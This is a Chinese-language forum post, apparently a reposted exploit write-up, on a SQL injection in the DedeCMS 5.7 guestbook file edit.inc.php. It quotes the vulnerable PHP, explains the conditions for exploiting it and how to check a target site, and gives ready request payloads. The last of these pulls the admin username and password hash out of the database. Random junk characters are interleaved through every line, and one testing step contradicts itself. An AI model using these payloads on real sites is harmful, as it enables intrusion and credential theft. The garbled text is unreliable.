影响版本为5.7
! K- Q5 t* S4 j8 Z- f
- S `) D% B6 e# y漏洞文件edit.inc.php具体代码:
: { k# N1 m, o$ r/ v! x! p, n3 _2 M% X2 R% V4 G& p( t
< ?php - E& `. x, d$ \" @+ }
) |. V- E; r% P5 x' g) J( x
if(!defined('DEDEINC')) exit('Request Error!');
O3 r& E" ~5 y) P5 l
8 ^8 C. G: A' {" q 6 M) p0 k8 `, t1 Q2 X
5 N2 P- G* h) G. Y2 O# c$ v. O+ Dif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
% @) V/ ~: T5 ?. K3 @8 [& w5 u" d( i9 F% Y" I7 K4 L: [
else $GUEST_BOOK_POS = "guestbook.php";
1 n9 R8 V2 \( f+ j: P1 C, e
; u! K3 q: ?; G2 X* e
: g3 o% H7 h- x2 l7 [
c! v" b2 h0 r( a- `% m. v$id = intval($id); * U9 g& n% Z* K) A
2 L/ Z5 e$ f8 A! k. ?) ?if(empty($job)) $job='view'; ~& A( ~5 ?$ w
8 n- E! m; R) l0 R L4 G - o4 c. w; D& h8 F7 N
; }2 i: o) E% C( q: pif($job=='del' && $g_isadmin)
1 M% v* K6 |, D( Q" a- k$ h1 p! v. L% w
{ 6 l/ z) M/ l' d4 O
7 h" ]+ k9 T; N; S$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); + s9 p8 t, [; ?6 n, X, H' V
+ z8 B% D# O# C8 F3 L; aShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); % H$ ~# j7 |/ y3 ^
^! R- |' Q% a( t4 ]8 o' Q2 `) S' [4 }exit();
. o# s: h0 |1 p; E
~1 Z4 Y3 P- B2 Q/ p/ P! Y} 4 f- b x. b3 J; g D' ]
( m2 Q( p6 U* x& q3 o+ Ielse if($job=='check' && $g_isadmin) ! I# Z& y6 O( J6 B4 n4 L$ B
0 u r5 a3 K& a) D' q$ V8 |{
6 G I7 z& c% e" m4 A: ?. y1 C0 {) B) E9 p. _4 b
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); & `$ W! d, |( C" _, \. {) [
3 m0 _' S# V0 I: W% _$ gShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
5 b x1 _- b- W. P3 a" ^ C) R
1 B7 {7 [# D9 m' [" M8 {exit();
3 d5 W) J: a2 q$ U/ G- e R1 }$ g
. s& k9 ~1 T% j9 S8 C, d2 r} ' {5 a+ J7 L# l2 a( H! j% N r
( F9 [3 f" s' o/ p; Z8 D
else if($job=='editok')
9 e- I- C! u" A& [7 v+ ], [
% u! M% S5 o. G{ # Q' @) K5 W6 ]
2 b4 @& U6 K5 v) J0 Y7 Y2 h$remsg = trim($remsg);
5 Q ]: O) d0 k: r9 X$ K' X$ h" h, U8 U! G) ^# P# f4 s% L0 q8 y; i" g
if($remsg!='')
* X+ P* _5 B- C1 b! B
! E& o, p. n% P! }6 a{ $ ]2 O! Q+ m8 |( D' Y
5 S w& ]# C) T0 `* V2 N( @//管理员回复不过滤HTML By:Errorera blog:errs.cc
! S9 g' ^, u6 N. ]1 N' H+ ]# ^) N
/ n* @ @5 Z, o! V6 B9 e6 P6 q" }" lif($g_isadmin) , n: L) C* z" H) `: c
1 {' [ E+ S" C) V, H
{
- A0 i( V5 [8 [$ t }( W4 s7 M1 W" L# T" @+ j; A. n7 j9 C# I0 [- q
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; / y' P: Z% T5 f+ W+ x$ M
$ s2 R1 n1 f0 c
//$remsg <br /><font color=red>管理员回复:</font> } , [- Y; G" q- p( m7 l1 D
5 O4 w k, {, Z# t. Belse ( H ~8 L9 n4 R
2 m9 w8 ?3 J+ f9 |( d. d, |7 P3 F
{ $ D% o9 d' ~! G8 \! K' \
, d# j9 [; V( S% ~$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
. }# m; J/ v" d ^+ F
0 e; m- H3 M7 j$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; . R7 @: Y) W1 {5 @* o* B
: D/ k6 D5 X: \; c( q
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); : H8 w' [ H! {
' ^$ h: }" @* n' f, a9 d$ k
$msg = $oldmsg.$remsg; 3 i; e- s2 g0 |0 f: u. \/ F
) x8 k% g- F$ ^: h
} . s8 ^* B( \! s6 u
: j7 F& [4 _0 z% t y( ^/ N}
% R+ }3 ?, |" i5 ?5 G/ c a9 D r9 \( b$ ?6 m6 C3 j J: P5 u- h
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
( Z2 I1 v9 |2 O) u4 ?) L( S7 e% N0 C, J+ _
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); * b9 d+ _. C a* r, I8 Y6 P
- W# ]9 q0 @6 bShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
% n7 d! D* P. s- q2 y
) ]9 j" c, V1 Mexit();
+ `( @% x% _+ J
/ q2 }( e9 ?+ T) [3 ^8 V- k& [}
) d, ? `& y% u7 Y: R8 _
# T& u; Y% c/ W$ M Q//home:www.errs.cc
5 M* H! E0 H$ `) n; _
' R: s7 K" w! r/ J6 X% \if($g_isadmin) " I5 Y' l+ s# d2 l
" x" K+ n! a8 n( }" H4 ]$ c6 v{ ! x1 {- ]* p; _1 O+ I
$ a4 W/ P2 m" D9 E+ X- m4 w6 T
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
2 R0 D$ o: D# ~! [6 Q4 w7 V6 E \& R8 J2 k! V
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); ) ?' Z$ u/ x. D5 G* }. w
9 ^" F3 c& R" Z0 D
} * h. {3 W+ E* b/ A* G
# r1 F! Q8 v- P Belse ) z# H* H' q# a! W a
0 S* [: Z! o# z2 r7 J6 L; K6 Z: z \{ 2 X1 @& A7 l/ v7 ~' t
1 |2 B2 A4 E7 |) w- x- {/ S
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); 6 S! l3 r; u; f# \
: @* w; i+ @' @' q. g
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); ! a( c' w; o/ m8 K* \6 _) W
8 t- W M$ I7 a8 H& l& _% J! k
} 漏洞成功需要条件:
# ]; r% x! l S7 G9 S1. php magic_quotes_gpc=off: y. ]( J( M, w9 _+ k' i% s
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
1 o; k4 }% Q$ |6 v' }. D1 `2 l
$ k3 ]( s* n& M4 i: s2 m {. L怎么判断是否存在漏洞: U) Z5 {8 o7 J# Y( D
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
& R2 W1 e% J4 p& u8 S- H然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
9 ^; ~- B$ i4 C6 ]: m访问:" j& i) L5 I+ m# Y2 c
) k7 h; c! {4 T& h, K+ p" M$ Z
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了# X9 @5 `! r- W. \1 w; y
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
7 r2 N j6 G( F% v: ^8 G
: z% h. y- ?/ q, D+ D$ E! [, W
; o8 ?5 ~& i7 v( G# @$ N) }明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
! Z9 @6 \7 |; @% y" C( W L如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。! v1 O" `5 b4 H9 H/ |+ k
那么再次访问
: G5 Z1 H0 e6 x, P& Z' M: Q1 A$ n3 E2 S( c$ Y: Z f3 E. `/ t
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
3 I( j9 c( ~0 p; ?: W( w& ~. ]' R. f: o" _0 X, C8 T
大概利用就是这样,大家有兴趣的多研究下!!
. {1 P1 \4 Y/ ]# Y) C) a
: H6 z. r8 z0 T2 F& d; \最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!/ o4 A0 N2 l; U+ |0 W" n# p4 n
' d& N8 E- g" v( X& r
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |